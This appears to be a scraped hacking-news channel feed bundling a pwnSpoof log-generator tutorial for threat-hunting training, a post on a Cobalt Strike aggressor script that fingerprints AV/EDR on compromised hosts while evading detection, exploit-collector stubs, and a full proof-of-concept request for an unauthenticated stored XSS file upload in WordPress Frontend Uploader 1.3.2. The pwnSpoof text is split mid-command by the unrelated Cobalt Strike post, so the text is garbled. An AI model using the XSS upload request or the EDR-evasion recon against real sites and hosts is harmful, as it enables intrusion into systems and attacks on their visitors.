Kali Linux Tutorials
pwnSpoof : Generates realistic spoofed log files for common web servers with customisable attack scenarios

pwnSpoof (from Punk Security) generates realistic spoofed log files for common web servers with customizable attack scenarios.

Every log bundle is unique and completely customisable, making it perfect for generating CTF scenarios and for training serials.

Can you find the attacker session and build the incident picture?

About The Project

pwnSpoof was created on the back of a threat hunting training exercise Punk Security delivered for a customer. The training exercise was to use a log analytic tool such as Splunk (other log analysing tools are available) and IIS logs to find login brute-force attacks and command injections.

The idea behind the pwnSpoof application is to;

* Provide a quick CTF style training environment
* Create unique logs every run
* Test threat hunting in IIS, Apache and NGINX logs

Once you have created a set of logs, the idea is to load them in to Splunk and use various techniques to answer the following questions;

* What was the attackers IP address and user_agent?
* Did the attacker authenticate and if so, with what account?
* Where was geo-location of the attacker?
* When did the attack occur?
* What kind of attack was it?
* What happened during the attack?
* What artifacts may remain on the server?
* What steps can be taken to remediate? Getting Started

The following will explain how to get started with pwnSpoof Prerequisites

pwnSpoof is written in python and is tested with python3. No extra modules are needed, we only use the standard library.

If you get the following error message, please specifiy python3 when running pwnSpoof. Python2 is not supported.

File “pwnspoof.py”, line 176
print(“{:6.2f}% “.format(y * x), end=”\r”, flush=True)
^
SyntaxError: invalid syntax

Installation

* Git clone the pwnSpoof repo

git clone https://github.com/punk-security/pwnspoof

change directory to pwnSpoof

cd pwnspoof

Run pwnSpoof

python pwnspoof.py –help

Usage Switches

positional arguments:
{banking,wordpress,generic}
App to emulate
optional arguments:
-h, –help show this help message and exit
–out OUT Output file (default: pwnspoof.log)
–iocs Do you want to know the attackers iocs for easier searching? (default: False)
log generator settings:
–log-start-date LOG_START_DATE
Initial start of logs, in the format YYYYMMDD i.e. “20210727”
–log-end-date LOG_END_DATE
End date for logs, in the format YYYYMMDD i.e. “20210727”
–session-count SESSION_COUNT
Number of legitimate sessions to spoof (default: 2000)
–max-sessions-per-user MAX_SESSIONS_PER_USER
Max number of legitimate sessions per user (default: 3)
–server-fqdn SERVER_FQDN
Override the emulated web apps default fqdn
–server-ip SERVER_IP
Override the emulated web apps randomised IP
–server-type {IIS,NGINX,CLF}
Server to spoof (default: IIS)
–uri-file URI_FILE File containing web uris to override defaults, do not include extensions
–noise-file NOISE_FILE
File containing noise uris to override defaults, include extensions
attack settings:
–spoofed-attacks SPOOFED_ATTACKS
Number of attacker sequences to spoof (default: 1)
–attack-type {bruteforce,command_injection}
Number of attacker sequences to spoof (default: bruteforce)
–attacker-geo ATTACKER_GEO
Set the attackers geo by 2 letter region. Use RD for random (default: RD)
–attacker-user-agent ATTACKER_USER_AGENT
Set the attackers user-agent. Use RD for random (default: RD)

Examples

The following example will create a set of IIS logs for bruteforce against pwnedbank.co.uk.

python pwnspoof.py banking –server-fqdn pwnedbank.co.uk –attack-type bruteforce –server-type IIS –out iis-output.log

The following example will create a set of NGINX logs for command_injection against pwnedbank.co.uk.

python pwnspoof[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Registry-Recon : Cobalt Strike Aggressor Script That Performs System/AV/EDR Recon

Registry-Recon is a Cobalt Strike Aggressor Script that Performs System/AV/EDR Recon.

Description

As a red-team practitioner, we are often using tools that attempt to fingerprint details about a compromised system, preferably in the most stealthy way possible. Some of our usual tooling for this started getting flagged by EDR products, due to the use of Windows CLI commands. This aggressor script aims to solve that problem by only probing the system using native registry queries, no CLI commands.

Setup

Simply load reg.cnainto Cobalt Strike using the Script Manager. Then right-click on the beacon you want to run registry recon on, and choose Registrythen Recon, or type regenuminto the beacon console.
https://blogger.googleusercontent.com/img/a/AVvXsEiVn6FJLPatBpMhcWZxPcEaPxy2w90g_jUt4GluRV10RKOQot6kXu5CvRDfEP0QfXW5VQJa5TPBIOS1JjLI392JgNuVugPARYwV6lPBUJ5A-hghiH9XiUlGywojhHcUKVmREc1hQsWTIxjDx2__xPPvvNxEEMLO3Xii5_-fmgkFo00RbYXgDuqsb9m2=s977 https://blogger.googleusercontent.com/img/a/AVvXsEgkJRyCMVbf2aOiasFjL78_9wKIp4BLoJ-4iYWvtpS9yYkCN5o_GNIm-dzAehgh0KKyVgYUUJUsmFW9ZZYmOr77lAA-7TMAjG_nH8yD70-85PRx_TbJr7nMOC4Y60tQNNJ6TfxTP_vXMNn1pjIuolyh3pAyx58IF8BU-tpBmEiVxBeFm4Fw02x1XrcL=s385
How does this work?

Primarily, using Cobalt Strike’s breg_queryand breg_queryvfunctions. Then, all beacon output is hijacked with beacon_output, looking for specific values. When a positive match is made, the output will be highlighted in the beacon output. Since there is no beacon_output_regor something similar, like beacon_output_lsand beacon_output_ps, all output must be captured for parsing.

What if my AV/EDR product isn’t detected? / How can I help?

This is expected. We couldn’t test for every AV/EDR solution, and we knew that many would be missing. You can help us out by submitting a GitHub issue including the following info:

* If this is a System/AV/EDR entry
* The name of the product
* Relevant registry entries that can be used to positively ID the product
Download

___________________________
@hacking_Attack
@Hacking_Video

.py banking –server-fqdn pwnedbank.co.uk –attack-type command_injection –server-type NGINX

The following example will create a set of logs with 5000 routine sessions and 3 attack sessions

python pwnspoof.py banking –session-count 5000 –spoofed-attacks 3

The following example will create a set of logs and output the attackers IP addresses

python pwnspoof.py banking –spoofed-attacks 3 –iocs Download

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
DMCA.com Improper Access Control / Cross Site Scripting

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
DMCA.com suffers from improper access control, persistent cross site scripting, and improper input validation vulnerabilities.

MD5 | de3eab0ce1d4e59fca59fb8cb0848dc7

Download
Publisher: Joel Aviad Ossi

Company: Pentest
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Frontend Uploader 1.3.2 Cross Site Scripting

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
WordPress Frontend Uploader plugin version 1.3.2 suffers from a persistent cross site scripting vulnerability.

MD5 | 745c79898a3cfd95a9dc57face0360b2

Download
# Exploit Title: WordPress Plugin Frontend Uploader 1.3.2 - Stored Cross Site Scripting (XSS) (Unauthenticated)
# Date: 10/01/2022
# Exploit Author: Veshraj Ghimire
# Vendor Homepage: https://wordpress.org/plugins/frontend-uploader/
# Software Link: https://plugins.trac.wordpress.org/browser/frontend-uploader/
# Version: 1.3.2
# Tested on: Windows 10 - Chrome, WordPress 5.8.2
# CVE : CVE-2021-24563

# References:

https://www.youtube.com/watch?v=lfrLoHl4-Zs
https://wpscan.com/vulnerability/e53ef41e-a176-4d00-916a-3a03835370f1

# Description:

The plugin does not prevent HTML files from being uploaded via its form, allowing unauthenticated user to upload a malicious HTML file containing JavaScript for example, which will be triggered when someone access the file directly
# Proof Of Concept:
POST /wp-admin/admin-ajax.php HTTP/1.1

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;
boundary=---------------------------124662954015823207281179831654

Content-Length: 1396

Connection: close

Upgrade-Insecure-Requests: 1
-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_ID"
1247

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_title"
test

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_content"
test

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="files[]"; filename="xss.html"

Content-Type: text/html
-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="action"
upload_ugc

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="form_layout"
image

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="fu_nonce"
021fb612f9

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="_wp_http_referer"
/wordpress/frontend-uploader-form/

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="ff"
92b6cbfa6120e13ff1654e28cef2a271

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="form_post_id"
1247

-----------------------------124662954015823207281179831654--
Then access the uploaded to trigger the XSS, ie https://example.com/wp-content/uploads/2021/07/xss.html

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Crestron HD-MD4X2-4K-E 1.0.0.2159 Credential Disclosure

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Log4Shell HTTP Header Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Libstagefright Heap Out-Of-Bounds Write

https://3.bp.blogspot.com/-8aNXwMYQICE/WWlvIs7ranI/AAAAAAAAILw/f2UnTjqyD14e3ZIoWuyFJjQ7Is9Nz7MtQCLcBGAs/s1600/h144.png
Libstagefright, the media framework on Android, suffers from an out-of-bounds write vulnerability on the heap.

MD5 | ffff8660f32b4b8c6d18f4ae57ace71b

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Amish Hackers

https://external-preview.redd.it/wCG_PsiDvK7OuuHUcsAZvSxyrsqKg-y-3mo4wvgC4pA.jpg?width=640&crop=smart&auto=webp&s=c026e973c519bc5dfde49c19045e9738a421e9ec submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Any suggestions for the new “sweet spot” for used thinkpads

Like the title says, does anyone have any thoughts on what thinkpads currently offer the best performance for the best price for hacking? It’s all your opinion there’s no right or wrong answer.

submitted by /u/big-sexy89
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
LCX Hack Ocak 2022

https://cdn-images-1.medium.com/max/1200/1*-amLd6flG3ugLZPEZkWvSg.png
Ocak 2022'nin başlangıcı, kripto borsası LCX için zorluydu . LCX tarafından yayınlanan olay raporunda sağlanan ön tahminlere göre…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Full Technical Report on Attacks

https://cdn-images-1.medium.com/max/2600/1*6k4w43Qh07WXdqOAuv3Ozw.png
We have completed compiling all technical reports about the exploits in the Tinyman v1 pools.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video